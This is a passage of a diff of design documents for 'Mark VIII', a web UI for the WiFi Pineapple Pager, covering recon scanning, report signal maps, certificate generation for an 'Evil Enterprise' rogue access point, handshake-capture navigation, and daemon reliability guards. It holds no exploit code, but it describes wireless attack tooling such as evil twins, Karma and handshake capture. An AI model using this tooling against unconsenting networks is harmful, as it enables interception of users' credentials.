Before starting native Recon, Mark VIII will record the highest existing scan ID. After the daemon accepts the start, polling will identify the first newer scan row and retain that ID as the run's result. The status response will include the tracked scan ID when available.
|
||||
|
||||
Elapsed duration still controls when Mark VIII requests or recognizes the end of the timed run, but the frontend will not announce a completed result until the new scan row is available. A 15-second settlement period will allow final SQLite writes to appear. If no row appears within that period, the scan ends with an explicit result-unavailable warning rather than silently selecting an older scan.
|
||||
|
||||
The Recon UI will follow the tracked scan ID, including while it is initially empty. It will no longer use the newest nonempty historical scan as a substitute for the active run.
|
||||
|
||||
### UI Presentation
|
||||
|
||||
The scan bar will preserve the existing styling and use concise messages:
|
||||
|
||||
- `2.4 GHz hopping` for full coverage.
|
||||
- `2.4 GHz limited to channel N -- <observed reason>` for pinned collection.
|
||||
- `2.4 GHz monitor unavailable` when collection is impossible.
|
||||
|
||||
Warnings describe coverage quality, not whether the scan as a whole succeeded. The 5 GHz radio can continue independently when 2.4 GHz is limited.
|
||||
|
||||
## HTML Report Signal Maps
|
||||
|
||||
### Rendering
|
||||
|
||||
The shared live/archive HTML generator will add dependency-free inline SVG maps for every populated band. The geometry will match `MiniChart.channelMap`:
|
||||
|
||||
- Prefer observed frequency and otherwise derive it from channel.
|
||||
- Use the same 2.4, 5, and 6 GHz ranges.
|
||||
- Use a fixed -100 to -30 dBm vertical scale.
|
||||
- Represent each AP as a raised-cosine 20 MHz lobe.
|
||||
- Use the same green, yellow, orange, and red signal thresholds.
|
||||
|
||||
Each SVG will include axes, channel/frequency labels, a signal-strength scale, and an accessible title. Each AP path will include an SVG `<title>` containing escaped SSID, BSSID, channel, signal, encryption, and vendor metadata. Reports require no JavaScript and remain printable and usable offline.
|
||||
|
||||
### Existing Statistics
|
||||
|
||||
This pass retains the current report scope: summary cards, band breakdown, encryption breakdown, channel occupancy, and AP details. It will not add new client or handshake detail tables.
|
||||
|
||||
Labels will describe their actual semantics. The report will use the existing exact client-count query instead of raw device observations. GPS metadata will state that it is the current fix at report generation time; archived reports will continue to omit current GPS.
|
||||
|
||||
Report helpers will accept empty or incomplete AP data safely. Unknown bands or channels will not produce malformed SVG. User-controlled fields are HTML-escaped in text and attribute contexts.
|
||||
|
||||
## Evil Enterprise Certificate Generation
|
||||
|
||||
### User Flow
|
||||
|
||||
The Evil Enterprise page will gain a certificate card matching the current PineAP cards, form controls, infoboxes, and action buttons. This is an inline flow rather than a visually distinct wizard.
|
||||
|
||||
The form accepts:
|
||||
|
||||
- Country
|
||||
- State or province
|
||||
- Locality
|
||||
- Organization
|
||||
- Organizational unit
|
||||
- Common name
|
||||
- Subject alternative DNS names
|
||||
- Validity in days
|
||||
|
||||
The card shows the installed certificate subject, SHA-256 fingerprint, validity range, key type/size, and certificate/key-match status. It never displays or returns private-key material.
|
||||
|
||||
### Generation and Validation
|
||||
|
||||
The backend generates a 2048-bit RSA self-signed server certificate using the device's `openssl` command. The certificate includes SHA-256 signatures, server-auth key usage, the requested subject, and validated DNS SAN entries. Validity is constrained to 1 through 3650 days.
|
||||
|
||||
Inputs are rejected when they contain line breaks or control characters, exceed 128 UTF-8 bytes per subject field, contain an invalid two-letter country code, contain invalid DNS SAN values, include more than 20 SAN entries, or result in an empty common name. Each SAN must be a valid DNS name of at most 253 ASCII characters. Arguments are passed as an argv list rather than through a shell.
|
||||
|
||||
Generation occurs in a private temporary directory. Before installation, the backend verifies that:
|
||||
|
||||
- OpenSSL can parse the certificate.
|
||||
- OpenSSL can parse the private key.
|
||||
- Certificate and key public keys match.
|
||||
- The generated certificate is currently valid.
|
||||
- Subject and SAN values reflect the request.
|
||||
|
||||
Only validated files replace the active certificate and key. Replacement uses backups and atomic renames. The private key and temporary files use mode `0600`; public certificates use `0644`.
|
||||
|
||||
The fallback certificate path will use this same validated generator rather than copying a shared private key. The payload init script will stop applying recursive `0755` permissions to secret material.
|
||||
|
||||
### Automatic Restart and Rollback
|
||||
|
||||
If Evil Enterprise is not active, a successful generation becomes the certificate for the next deployment.
|
||||
|
||||
If Evil Enterprise is active, the backend snapshots its current deployment state, installs the new certificate, and automatically redeploys the AP with the same SSID, channel, encryption, hidden state, EAP method, and secret. Success requires hostapd to reach `ENABLED` with the new certificate.
|
||||
|
||||
If redeployment fails, the backend restores the prior certificate files and attempts to redeploy the previous AP configuration. The API reports both the generation failure and whether rollback restored service. Concurrent generation/deployment operations are serialized with the existing attack-operation boundary extended to certificate changes.
|
||||
|
||||
## Navigation
|
||||
|
||||
Top-level Recon remains. Its tabs become:
|
||||
|
||||
- Scanning
|
||||
- Reports
|
||||
|
||||
Handshakes moves into `PINEAP_TABS` at `#/pineap/handshakes`. Its page body and data APIs remain unchanged. The Recon handshake summary card links to the new route.
|
||||
|
||||
`#/recon/handshakes` redirects to `#/pineap/handshakes` so bookmarks and old links continue to work. This redirect is a concrete compatibility requirement because the previous route shipped in the UI.
|
||||
|
||||
## pineapd Containment and Diagnostics
|
||||
|
||||
### Supported-Build Policy
|
||||
|
||||
Mark VIII will identify the device by firmware description and daemon SHA-256. The initial affected-build record covers Pager 24.10.1 and the confirmed daemon hash. Known affected builds receive automatic crash-prevention reconciliation.
|
||||
|
||||
Unknown builds retain the conservative UI block on pool broadcast, but Mark VIII will not silently apply hash-specific assumptions. Health output will identify the build as unknown and explain that broadcast remains unavailable pending validation. A future verified-safe build can be allowlisted without changing the UI contract.
|
||||
|
||||
### Safe Reconciliation
|
||||
|
||||
Before Mark VIII starts or explicitly restarts `pineapd` on the affected build, it will ensure:
|
||||
|
||||
- `pineapd.@ssidpool[0].disable=1`
|
||||
- `pineapd.wlan2mon.disable=1`
|
||||
- `pineapd.wlan2mon.hop=0`
|
||||
- `pineapd.wlan1mon.bands=5`
|
||||
- `pineapd.wlan0mon.bands=2`
|
||||
|
||||
Mark VIII will continue using passive `pidof` checks and will not health-poll the daemon command socket. It will not disable normal 5 GHz hopping merely to make startup appear safe.
|
||||
|
||||
The reconciler records original and resulting values and changes only known crash-prevention keys. It does not rewrite unrelated wireless or PineAP settings. Normal startup does not clear the SSID pool.
|
||||
|
||||
### Crash Circuit Breaker
|
||||
|
||||
The health monitor will track PID transitions and SIGSEGV-count changes in a rolling two-minute window. Three observed crashes within that window will stop additional Mark VIII restarts and mark the daemon `quarantined`; stock procd behavior remains visible but is not amplified by the web UI.
|
||||
|
||||
If the pool has refilled above 64 entries or 4096 encoded bytes during a correlated crash loop, Mark VIII will first save a timestamped diagnostic copy, then clear the pool as a last-resort recovery action and perform one controlled restart. This action and its reason appear in health status. A pool at or below both limits is preserved.
|
||||
|
||||
The circuit breaker resets only after the daemon remains alive for five minutes or after an explicit operator recovery action. Recovery reruns safe reconciliation before restart.
|
||||
|
||||
### Diagnostic Bundle
|
||||
|
||||
A read-only diagnostic endpoint will produce a downloadable text or JSON bundle containing:
|
||||
|
||||
- Firmware and board identity
|
||||
- `pineapd` hash and process state
|
||||
- Relevant PineAP UCI values
|
||||
- Monitor interface presence and channel state
|
||||
- Pool entry count and encoded size, without exposing unrelated secrets
|
||||
- Recent PID transitions, restart decisions, and SIGSEGV deltas
|
||||
- Relevant recent log lines
|
||||
- Mark VIII health actions and quarantine state
|
||||
|
||||
The bundle supports vendor reporting and future safe-build validation. It does not include the stock binary or private certificate/key material.
|
||||
|
||||
## Error Handling
|
||||
|
||||
- Recon probe failures remain per-radio failures; one radio does not invalidate the other.
|
||||
- Database settlement uses bounded retries and reports a missing result explicitly.
|
||||
- Report generation returns the existing 404/503 responses for missing or unavailable scans.
|
||||
- Certificate APIs return validation errors as HTTP 400, generation/runtime failures as 502, and include rollback state when an active AP was affected.
|
||||
- Health reconciliation failures do not trigger unbounded retries. They are exposed through `/api/health` and diagnostics.
|
||||
- All new state-changing APIs retain authentication and same-origin enforcement.
|
||||
|
||||
## Testing
|
||||
|
||||
Backend tests will cover:
|
||||
|
||||
- Enabled but unassociated dummy STA does not imply starvation.
|
||||
- Associated client/AP and failed channel probes produce accurate limited-coverage states.
|
||||
- Parked dummy STA and successful retry report full coverage.
|
||||
- Hopper interfaces clear when hopping ends.
|
||||
- Active runs bind to a newly created scan ID and do not select older nonempty scans.
|
||||
- Missing result settlement produces an explicit warning.
|
||||
- SVG maps render each populated band, signal colors, escaped metadata, empty data, and archive reports without external assets.
|
||||
- Certificate input validation, SAN generation, key/certificate matching, atomic replacement, file modes, active-AP restart, and rollback.
|
||||
- Navigation route declarations and legacy redirect.
|
||||
- Affected-build matching, safe UCI reconciliation, unknown-build policy, passive health checks, crash threshold, pool quarantine, and circuit-breaker recovery.
|
||||
|
||||
Verification on the Pager will include:
|
||||
|
||||
- A 2.4 GHz scan with the enabled but unassociated dummy STA.
|
||||
- A scan while an actual STA or AP pins `phy0`.
|
||||
- Opening and printing generated live and archived HTML reports.
|
||||
- Generating a certificate and inspecting it with OpenSSL.
|
||||
- Generating while Evil Enterprise runs and confirming automatic restart.
|
||||
- Exercising a forced restart failure and confirming certificate/AP rollback.
|
||||
- Observing `pineapd` stability and health state after safe reconciliation.
|
||||
- Desktop and mobile checks of Recon, Reports, PineAP Handshakes, and Evil Enterprise.
|
||||
|
||||
## Deployment Order
|
||||
|
||||
1. Recon state and scan-result identity.
|
||||
2. Firmware-gated `pineapd` reconciliation and health containment.
|
||||
3. HTML report SVG maps.
|
||||
4. Handshakes navigation move.
|
||||
5. Certificate generation, permissions, restart, and rollback.
|
||||
6. Full local test suite, payload build, device deployment, and on-device verification.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Patching or replacing the proprietary `pineapd` binary.
|
||||
- Enabling SSID-pool broadcast on the known affected daemon.
|
||||
- Adding external chart libraries or report assets.
|
||||
- Adding client or handshake detail tables to reports in this pass.
|
||||
- Creating a CA hierarchy or CA-download workflow; the selected certificate design is a self-signed server certificate.
|
||||
- Persisting browser-only signal history in reports.
|
||||
+196
@@ -0,0 +1,196 @@
|
||||
# Recon Client Associations and Device Identity Design
|
||||
|
||||
## Summary
|
||||
|
||||
Enrich the Recon Scanning view with confirmed client-to-network associations
|
||||
and best-available device identity. Associations must come from explicit
|
||||
evidence and must never be inferred from proximity, channel, timing, or probe
|
||||
requests. Access-point identity uses local device databases and existing
|
||||
fallback data without requiring internet access.
|
||||
|
||||
The implementation remains compatible with the current constraints: Python
|
||||
standard library only, no frontend build step, bounded scan-detail queries,
|
||||
and read-only access to the stock Recon database.
|
||||
|
||||
## Confirmed Device Behavior
|
||||
|
||||
The target Pager Recon database contains:
|
||||
|
||||
- `ssid.type = 8`: access-point observations with BSSID and SSID.
|
||||
- `ssid.type = 5`: directed probe observations with a device MAC and SSID but
|
||||
no BSSID. These do not prove association.
|
||||
- `ssid.type = 4`: unassociated observations used by the current landscape
|
||||
count.
|
||||
- `handshake.stahash` and `handshake.aphash`: explicit client/AP pairs that
|
||||
resolve through `wifi_device.hash`.
|
||||
- `hostap_client`: clients associated with an AP hosted by the Pineapple,
|
||||
including client MAC, SSID, and connection timestamps.
|
||||
|
||||
The target has local manufacturer databases at
|
||||
`/usr/share/nmap/nmap-mac-prefixes` and
|
||||
`/usr/share/macchanger/wireless.list`. The Recon schema does not retain WPS or
|
||||
other vendor information elements that would support dependable model
|
||||
detection.
|
||||
|
||||
## Association Model
|
||||
|
||||
`recon_scan_data()` remains the canonical scan-detail builder. It emits only
|
||||
confirmed associations from these sources:
|
||||
|
||||
1. WPA handshake rows, using `aphash` and `stahash` to resolve the AP and
|
||||
client MAC addresses through `wifi_device`.
|
||||
2. `hostap_client` rows scoped to the selected scan, representing clients that
|
||||
associated with a Pineapple-hosted AP.
|
||||
|
||||
Directed probes and other `ssid` observations do not create associations.
|
||||
There is no channel, signal, timing, or SSID-name inference.
|
||||
|
||||
Evidence for the same client/network pair is deduplicated. The resulting
|
||||
association records preserve all evidence sources, for example
|
||||
`["handshake", "hostap_client"]`.
|
||||
|
||||
### Client Shape
|
||||
|
||||
Each existing client object retains `mac`, `signal`, `freq`, and `packets` and
|
||||
gains:
|
||||
|
||||
- `vendor`: best-available client manufacturer label.
|
||||
- `associations`: an array of confirmed association objects.
|
||||
|
||||
Each association can contain:
|
||||
|
||||
- `ssid`
|
||||
- `bssid`, when known
|
||||
- `ap_identity`
|
||||
- `sources`
|
||||
- `connected_time`, when supplied by `hostap_client`
|
||||
- `disconnected_time`, when supplied by `hostap_client`
|
||||
|
||||
An absent relationship is represented by an empty array. The UI labels this
|
||||
state `Unknown`; it does not invent an SSID.
|
||||
|
||||
### Access-Point Shape
|
||||
|
||||
Each existing AP object retains its current fields and gains:
|
||||
|
||||
- `device_identity`: structured manufacturer, optional model, OUI, and source
|
||||
metadata.
|
||||
- `clients`: confirmed associated-client summaries.
|
||||
- `client_count`: the number of unique confirmed client MAC addresses.
|
||||
|
||||
Handshake evidence resolves an AP by BSSID. The current `hostap_client` schema
|
||||
does not contain a BSSID, so those rows create SSID-only associations and are
|
||||
not assigned to an AP row. A matching SSID alone is insufficient to claim a
|
||||
specific BSSID.
|
||||
|
||||
## Device Identity Resolution
|
||||
|
||||
Identity resolution follows this precedence:
|
||||
|
||||
1. `/usr/share/nmap/nmap-mac-prefixes`.
|
||||
2. `/usr/share/macchanger/wireless.list`.
|
||||
3. The existing built-in `OUI_VENDORS` map.
|
||||
4. `Unknown`.
|
||||
|
||||
The parsed local maps are cached once per server process. Missing, malformed,
|
||||
or unreadable files are skipped without failing Recon.
|
||||
|
||||
The identity object includes the visible three-byte OUI prefix. Locally
|
||||
administered MAC addresses report `Local/Randomized` rather than a vendor.
|
||||
Globally administered addresses absent from all sources report `Unknown`.
|
||||
The current sources identify manufacturers, not models, so `model` is `null`.
|
||||
Vendor names, SSIDs, and MAC patterns are not treated as models.
|
||||
|
||||
## Recon UI
|
||||
|
||||
The existing Recon layout, tabs, pagination, and focus sidebar remain intact.
|
||||
|
||||
### Access Points
|
||||
|
||||
The table gains two default-visible columns:
|
||||
|
||||
- `Device Identity`: the best reliable display label. It shows manufacturer
|
||||
and model when both are explicitly available, manufacturer alone when only
|
||||
the OUI resolves, and `Unknown (AA:BB:CC)` when unresolved.
|
||||
- `Clients`: the confirmed unique-client count.
|
||||
|
||||
The richer `Device Identity` column replaces the current `Vendor` column to
|
||||
avoid duplicate information. Selecting an AP continues to open the existing
|
||||
focus sidebar, which gains a `Confirmed Clients` section listing client MAC,
|
||||
client vendor, and evidence sources.
|
||||
|
||||
### Clients
|
||||
|
||||
The table gains two default-visible columns:
|
||||
|
||||
- `Vendor`
|
||||
- `Associated SSID`
|
||||
|
||||
A single association shows its SSID. Multiple associations show the first
|
||||
SSID followed by `+N`; the cell title contains every SSID, BSSID when known,
|
||||
AP identity, and evidence source. Clients without confirmed evidence show
|
||||
`Unknown`.
|
||||
|
||||
Search includes the new identity and association values. Existing column
|
||||
preferences in `pw_recon_cols` are merged with current defaults, so users keep
|
||||
their settings while newly introduced columns receive their default-visible
|
||||
state.
|
||||
|
||||
## Exports and Reports
|
||||
|
||||
All exports use the same enriched scan-detail objects:
|
||||
|
||||
- JSON preserves structured identity and association arrays.
|
||||
- CSV adds flattened identity, client count, and association fields. Multiple
|
||||
associations are separated unambiguously with semicolons.
|
||||
- HTML adds AP identity and confirmed-client count to AP details and includes
|
||||
a confirmed-client table. The report labels these as confirmed associations
|
||||
and does not mix in directed probes.
|
||||
|
||||
## Error Handling and Performance
|
||||
|
||||
- Association reads are scoped to the selected scan.
|
||||
- Existing bounded scan-detail behavior remains bounded; enrichment must not
|
||||
introduce unbounded cross-scan joins.
|
||||
- Missing optional tables or schema differences yield empty association data
|
||||
while preserving existing AP and client results.
|
||||
- Missing OUI files fall back through the resolver chain and never make the
|
||||
Recon endpoint fail.
|
||||
- No external lookup or network dependency is introduced.
|
||||
- Duplicate handshake or host-AP evidence collapses deterministically by
|
||||
normalized client MAC and network identity.
|
||||
|
||||
## Testing
|
||||
|
||||
Backend tests cover:
|
||||
|
||||
- Nmap, macchanger, and built-in OUI precedence.
|
||||
- Missing and malformed local OUI files.
|
||||
- Local/randomized and unknown MAC handling.
|
||||
- Handshake-derived client/AP/SSID associations.
|
||||
- `hostap_client` associations remain SSID-only and do not attach to an AP row.
|
||||
- Deduplication and combined evidence sources.
|
||||
- Explicit exclusion of `ssid.type = 5` probe rows.
|
||||
- Missing optional association data.
|
||||
- Enriched JSON, CSV, and HTML output.
|
||||
|
||||
Frontend tests or source assertions cover:
|
||||
|
||||
- New default columns and stored-column preference migration.
|
||||
- Confirmed association display and the `Unknown` state.
|
||||
- Search over identity and association values.
|
||||
- Confirmed clients in the AP focus sidebar.
|
||||
|
||||
On-device verification uses read-only SQLite queries to compare API
|
||||
associations with source evidence, confirms local OUI resolution, and checks
|
||||
the Recon view at desktop and mobile widths. Verification does not alter
|
||||
radio, PineAP, or wireless configuration.
|
||||
|
||||
## Out of Scope
|
||||
|
||||
- Inferring associations from probe requests, frequency, signal, time, or
|
||||
physical proximity.
|
||||
- Active probing, deauthentication, or traffic capture to discover clients.
|
||||
- Internet OUI or device-fingerprinting services.
|
||||
- Guessing AP models from manufacturer, SSID naming, or MAC patterns.
|
||||
- Redesigning the Recon navigation or table framework.
|
||||
@@ -0,0 +1,202 @@
|
||||
# Mark VIII Reliability Core + Integrated Supervisor — Design
|
||||
|
||||
Date: 2026-08-22
|
||||
Branch: `feature/reliability`
|
||||
Status: Approved by user (design sections 1–7)
|
||||
|
||||
## Problem
|
||||
|
||||
Mark VIII works, but the device does not run reliably or consistently as
|
||||
expected. Evidence from 79 prior opencode sessions, the repository history,
|
||||
the factory firmware image, and the live device:
|
||||
|
||||
1. **Factory defaults are themselves unstable.** The stock firmware image
|
||||
(`pineapplepager-firmware-1.1.0-signed.bin`, OpenWrt 24.10.1,
|
||||
ramips/mt76x8, kernel 6.6.86) ships `/etc/config/pineapd` with every
|
||||
verified crash source enabled: `wlan1mon` bands `'2,5'` fast-hop,
|
||||
`wlan2mon` enabled+hop on a nonexistent interface, SSID pool without an
|
||||
explicit disable, pool target `broadcast`. Any reset, upgrade, or stock-UI
|
||||
reconvergence reintroduces pineapd SIGSEGV crash loops.
|
||||
2. **Fixes revert.** Crash-guard UCI values applied at runtime were observed
|
||||
reverting to unsafe defaults after service restarts and deploys.
|
||||
3. **Knock-offs.** Enabling client-mode uplink / `wifi reload` mid-operation
|
||||
repeatedly killed management reachability (SSH/HTTP), forcing power
|
||||
cycles and losing engagement state.
|
||||
4. **2.4 GHz blindness.** The client uplink STA on phy0 pins the radio's
|
||||
channel; wlan0mon cannot hop, so 2.4 GHz recon goes quiet while appearing
|
||||
"green" in older UI logic.
|
||||
5. **Reboot fragility.** After reboots, stale configs and refilled pools
|
||||
produced broken states until v1.3.x added startup checks; ordering is
|
||||
still wrong: Mark VIII starts at S99, *after* pineapd (S50).
|
||||
6. **Deploy fragility.** Non-atomic deploys, version confusion across three
|
||||
files, portal refresh failures, and one secret-leak incident.
|
||||
|
||||
User decisions: payload-only hardening (no firmware flashing); uplink moves
|
||||
to phy1; Reliability Core plus an integrated lightweight supervisor;
|
||||
experimental work on a branch.
|
||||
|
||||
## Goals
|
||||
|
||||
A device that: survives reboot/firmware-upgrade with safe PineAP state;
|
||||
never loses management reachability from a UI-initiated operation; keeps
|
||||
2.4 GHz operations fully available during engagements; reports radio truth;
|
||||
and self-heals known failure modes without human intervention.
|
||||
|
||||
## Non-goals
|
||||
|
||||
Firmware repacking/flashing (parked as future experiment), new standalone
|
||||
processes/daemons, external databases, metrics graphing beyond counters,
|
||||
`:1471` takeover.
|
||||
|
||||
## Architecture
|
||||
|
||||
All changes live inside the existing payload. Three layers, one process:
|
||||
|
||||
- **Guard** — `mk8-guard` init script installed by `payload.sh` at START=49
|
||||
(before the S50 pineapple stack that launches `pineapd`): enforces the
|
||||
known-good UCI profile before crash-prone daemons start. Idempotent;
|
||||
commits only differences; logs to syslog and the event journal once Mark
|
||||
VIII is up.
|
||||
- **Core** — backend modules in `server.py` (pure stdlib, python3-light
|
||||
compatible): config reconciler, profile store, RF role manager,
|
||||
preflight/rollback gates.
|
||||
- **Supervisor** — passive sampler thread inside `server.py`, capped JSONL
|
||||
event journal, UI health panel.
|
||||
|
||||
Persistent state lives in `/mmc/mk8/` (ext4, 3.3 GB free) which survives
|
||||
reboots *and* firmware upgrades (overlay wipe):
|
||||
|
||||
```
|
||||
/mmc/mk8/
|
||||
profiles/<name>/{pineapd,wireless,network}.uci # named snapshots
|
||||
releases/{current,previous}/ # atomic deploy dirs
|
||||
events.log # rotated JSONL journal
|
||||
boot.marker # boot counter / clean-shutdown flag
|
||||
```
|
||||
|
||||
## Components
|
||||
|
||||
### 1. Boot-time reconciler
|
||||
|
||||
Runs on every service start (and `mk8-guard` runs it early at boot).
|
||||
Compares live UCI against the built-in known-good profile; commits only
|
||||
differences; logs each action to the journal.
|
||||
|
||||
Enforced invariants (the five verified crash sources plus v1.3.x rules):
|
||||
- `pineapd.@ssidpool[0].disable='1'` and empty `ssid` list
|
||||
- `pineapd.wlan2mon.disable='1'`, `hop='0'`
|
||||
- `pineapd.wlan1mon.bands='5'`
|
||||
- `pineapd.@pineapd[0].autossidpool='0'`
|
||||
- `wireless.dummy_radio0` parked per v1.3.1 semantics (disabled unless a
|
||||
scan explicitly borrows it)
|
||||
- monitor interfaces present and administratively up
|
||||
|
||||
The reconciler never touches AP sections owned by the user (evil twins),
|
||||
client sections, or network/firewall config.
|
||||
|
||||
### 2. Profiles + knock-off protection
|
||||
|
||||
- **Profile store**: `uci export` snapshots under `/mmc/mk8/profiles/`.
|
||||
Save/restore from Settings UI; restore = write files + `wifi reload` +
|
||||
guard re-run. One profile is auto-captured as `lastknown-good` whenever
|
||||
all health checks pass for ≥5 minutes.
|
||||
- **Preflight gate** wraps every risky operation: client-mode connect or
|
||||
disconnect, `wifi reload`, any AP enable/disable, enterprise engine
|
||||
start/stop, any UCI commit touching `wireless`/`network`. Sequence:
|
||||
auto-snapshot `pre-<op>-<ts>` → apply → spawn detached watchdog.
|
||||
- **Rollback watchdog**: a small POSIX sh script started via `setsid` so it
|
||||
survives SSH/UI death. It probes **local** liveness only — HTTP GET to
|
||||
`127.0.0.1:8080/api/health` and presence/state of the management
|
||||
interface — deliberately ignoring workstation-side reachability, which
|
||||
historically caused false assumptions. If local probes fail on N
|
||||
consecutive checks (default 6 × 5 s), it restores the pre-op snapshot,
|
||||
runs `wifi reload`, writes a `ROLLBACK` journal entry, and exits. Success
|
||||
path: after M consecutive healthy checks it promotes the snapshot to
|
||||
`lastknown-good` and exits.
|
||||
|
||||
### 3. RF role manager (uplink on phy1)
|
||||
|
||||
Declarative, mutually exclusive radio plan enforced server-side:
|
||||
- **phy0 = OPS, always**: monitor hop + PineAP + 2.4 GHz evil twins. Never
|
||||
carries the uplink again.
|
||||
- **phy1 ∈ {attack, uplink, idle}**: role switch API + UI control.
|
||||
|
||||
`set-role(uplink)`: snapshot config → create/enable a `wifi-iface` STA
|
||||
section on `radio1` → pause `wlan1mon` hop (reusing the existing pause/
|
||||
resume mechanism used by radio1 APs) → verify association truthfully
|
||||
(iw + daemon state). Failure at any step → rollback snapshot + event.
|
||||
`set-role(attack)`: STA disabled → monitor/AP stack restored.
|
||||
|
||||
Honest tradeoff surfaced in UI text: while the phy1 uplink associates, phy1
|
||||
is pinned to the uplink channel — 5 GHz recon is limited to that channel;
|
||||
2.4 GHz remains fully hoppable. The dashboard RF chip shows
|
||||
`PHY0: OPS · PHY1: UPLINK ch36` style state.
|
||||
|
||||
### 4. Supervisor
|
||||
|
||||
A sampler thread inside the existing backend process:
|
||||
- Every 30 s, passive reads only (`pidof`, `iw dev`, `/proc/meminfo`,
|
||||
interface flags) — no pineapd socket pings (crash source 5).
|
||||
- SIGSEGV trend via throttled `logread | grep -c` scan every 5 min.
|
||||
- Hysteresis actions: pineapd absent for 2 consecutive samples →
|
||||
`/etc/init.d/pineapd restart` + guard verify; monitor dropped → re-raise
|
||||
(`ip link set <iface> up`); memory >85% sustained 5 samples → alert only
|
||||
(no aggressive action).
|
||||
- Event journal: JSONL entries `{ts, kind, sev, msg, meta}` rotated at
|
||||
5 MB × 4 files.
|
||||
- Unexpected-reboot detection via `/mmc/mk8/boot.marker` (clean shutdown
|
||||
clears it; boot increments counter when present).
|
||||
- UI: Dashboard health panel gains recent-events feed + reliability
|
||||
counters (boots, unexpected boots, rollbacks, restarts, guard fixes);
|
||||
`/api/health` extended accordingly.
|
||||
|
||||
### 5. Deploy hardening
|
||||
|
||||
- Single-source version: top-level `VERSION` file consumed by build step to
|
||||
stamp `_hak5_manifest.json`, `payload.sh`, and `server.py` banner; no more
|
||||
hand-synced numbers.
|
||||
- Atomic deploys in `scripts/deploy.sh`: stage upload to `/tmp/mk8-stage`
|
||||
→ sha256 manifest verification → stop service → swap into
|
||||
`/mmc/mk8/releases/current` (previous kept) → start → post-deploy
|
||||
self-check (version match + local health probe). Failed self-check →
|
||||
previous release restored automatically.
|
||||
- Payload install continues to work from overlay paths for compatibility;
|
||||
release dir on `/mmc` is symlinked as the service target.
|
||||
|
||||
### 6. Testing & verification
|
||||
|
||||
Unit tests (existing pattern: stdlib unittest, mocks, one module per
|
||||
process): reconciler diff-only idempotence; profile save/restore roundtrip;
|
||||
role exclusivity + hop pause/resume; watchdog decision table (probe
|
||||
outcomes × thresholds); deploy staging flow with mocked SSH; supervisor
|
||||
sampling parsers and hysteresis.
|
||||
|
||||
New `scripts/smoke.sh` (on-device, read-only unless explicitly flagged):
|
||||
boot persistence of guards, guard enforcement after writing factory-default
|
||||
bad values (then restoring), role-switch cycle uplink↔attack, rollback
|
||||
watchdog trigger against a deliberately stopped port (safe variant), deploy
|
||||
version match, journal integrity.
|
||||
|
||||
## Failure modes & handling
|
||||
|
||||
| Failure | Handling |
|
||||
|---|---|
|
||||
| Factory-default bad UCI at boot | Guard fixes before pineapd starts |
|
||||
| pineapd crash-loop despite guards | procd respawn + supervisor restart w/ backoff + alert |
|
||||
| Risky op kills management plane | Local-liveness rollback watchdog restores snapshot |
|
||||
| Deploy uploads corrupt payload | sha256 gate before swap |
|
||||
| New payload fails health check | Auto-rollback to previous release |
|
||||
| Overlay wiped by firmware upgrade | Reinstall payload; profiles/journal/history survive on /mmc |
|
||||
| Memory exhaustion | Sustained-watermark alerts; no destructive automation |
|
||||
|
||||
## Security
|
||||
|
||||
No new network exposure; all new endpoints behind existing auth; watchdog
|
||||
and guard scripts are root-owned, written atomically; no credentials stored
|
||||
in repo or journal metadata (SSIDs/BSSIDs only).
|
||||
|
||||
## Out-of-scope notes
|
||||
|
||||
Custom firmware remains a documented future experiment (extraction recipe
|
||||
captured in session history: uImage kernel @0, squashfs-xz rootfs
|
||||
@0x2615dc; bootloader signature behavior unverified).
|
||||
@@ -0,0 +1,46 @@
|
||||
# PineAP Dashboard: Remove Mode Card, Move RF Role Card
|
||||
|
||||
Date: 2026-08-23
|
||||
|
||||
## Goal
|
||||
|
||||
Remove the "Passive / Active / Advanced" mode card from the PineAP dashboard and move the "RF Role (radio1)" card into its position, cleaning up all supporting code that becomes dead as a result.
|
||||
|
||||
## Layout
|
||||
|
||||
Current PineAP dashboard rows:
|
||||
|
||||
1. `[Passive/Active/Advanced, Quick Settings]`
|
||||
2. `[RF Role (radio1)]`
|
||||
3. `[Karma, Open Network, Evil WPA]`
|
||||
|
||||
New layout:
|
||||
|
||||
1. `[RF Role (radio1), Quick Settings]`
|
||||
2. `[Karma, Open Network, Evil WPA]`
|
||||
|
||||
## Changes
|
||||
|
||||
### `payload/user/remote_access/pager-webui/www/js/views.js` (`views.pineap`)
|
||||
|
||||
- Remove mode-card UI: `mode` badge, `segBtns`/`modeBar`, `modeInfo`, `saveModeBtn`, `modeCard`.
|
||||
- Append `rfCard` to `modeRow` (first position, before Quick Settings); delete `rfRow`.
|
||||
- Remove functions `selectMode()`, `saveMode()`, `renderModeInfo()`.
|
||||
- Remove state `selectedMode`, `modeDirty`, `modePending`.
|
||||
- Remove `PINEAP_SESSION.mode` and the `'advanced'` write in `rememberAdvanced()` (Quick Settings toggles keep working).
|
||||
- In `load()`: drop the `GET /api/pineap/mode` call, `PINEAP_SESSION.mode` tracking, and the badge-class update on the removed `mode` element.
|
||||
|
||||
### `payload/user/remote_access/pager-webui/www/css/app.css`
|
||||
|
||||
- Remove mode-card-only rules: `.seg`, `.seg-btn`, `.seg-btn + .seg-btn`, `.seg-btn.active`, `.seg-btn:disabled`, `.pineap-card-button-group .seg`, `.pineap-card-button-group .seg-btn`, `.pineap-mode-save`, `.pineap-mode-features`.
|
||||
- Keep `.pineap-card-title-flex` (used by other views).
|
||||
|
||||
## Untouched
|
||||
|
||||
- Backend `/api/pineap/mode` endpoint (still exercised by `tests/test_pineap_modes.py`).
|
||||
- RF role logic, all other views, `build/` (regenerated by `scripts/deploy.sh`).
|
||||
|
||||
## Verification
|
||||
|
||||
- `node --check` on `views.js`.
|
||||
- Manual browser check of the PineAP dashboard layout.
|
||||
@@ -8,7 +8,7 @@
|
||||
"title": "Mark VIII",
|
||||
"author": "c4ch3c4d3",
|
||||
"description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
|
||||
"version": "1.0",
|
||||
"version": "1.3.2",
|
||||
"category": "remote_access",
|
||||
"tags": ["remote-access", "web-interface", "device-management", "pineap"],
|
||||
"firmware": "Pineapple Pager 24.10.1"
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#!/bin/sh /etc/rc.common
|
||||
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
|
||||
START=49
|
||||
STOP=90
|
||||
|
||||
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
|
||||
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
|
||||
|
||||
start() {
|
||||
